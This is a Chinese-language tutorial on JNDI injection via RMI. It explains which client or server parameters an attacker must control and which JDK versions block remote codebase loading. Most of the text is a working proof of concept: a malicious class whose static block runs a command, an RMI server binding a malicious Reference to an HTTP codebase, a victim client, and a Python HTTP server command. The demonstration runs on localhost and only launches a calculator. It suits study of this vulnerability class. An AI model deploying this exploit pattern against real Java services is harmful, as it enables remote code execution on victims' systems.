将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行
- 客户端的lookup()方法的参数可控
- 服务端在使用Reference时,classFactoryLocation参数可控~
上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在jndi注入中也起着至关重要的作用,而且不同的攻击响亮对jdk的版本要求也不一致,这里就全部列出来:
-
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
-
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
-
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
- 创建一个恶意对象
import javax.lang.model.element.Name;
import javax.naming.Context;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.HashMap;
public class EvilObj {
public static void exec(String cmd) throws IOException {
String sb = "";
BufferedInputStream bufferedInputStream = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(bufferedInputStream));
String lineStr;
while((lineStr = inBr.readLine()) != null){
sb += lineStr+"\n";
}
inBr.close();
inBr.close();
}
public Object getObjectInstance(Object obj, Name name, Context context, HashMap<?, ?> environment) throws Exception{
return null;
}
static {
try{
exec("gnome-calculator");
}catch (Exception e){
e.printStackTrace();
}
}
}
可以看到这里利用的是static代码块执行命令
- 创建rmi服务端,绑定恶意的Reference到rmi注册表
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}- 创建一个客户端(受害者)
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}可以看到这里的lookup方法的参数是指向我设定的恶意rmi地址的。
然后先编译该项目,生成class文件,然后在class文件目录下用python启动一个简单的HTTP Server:
python -m SimpleHTTPServer 6666
执行上述命令就会在6666端口、当前目录下运行一个HTTP Server:
然后运行Server端,启动rmi registry服务
成功弹出计算器。注意,我这里用到的jdk版本为jdk7



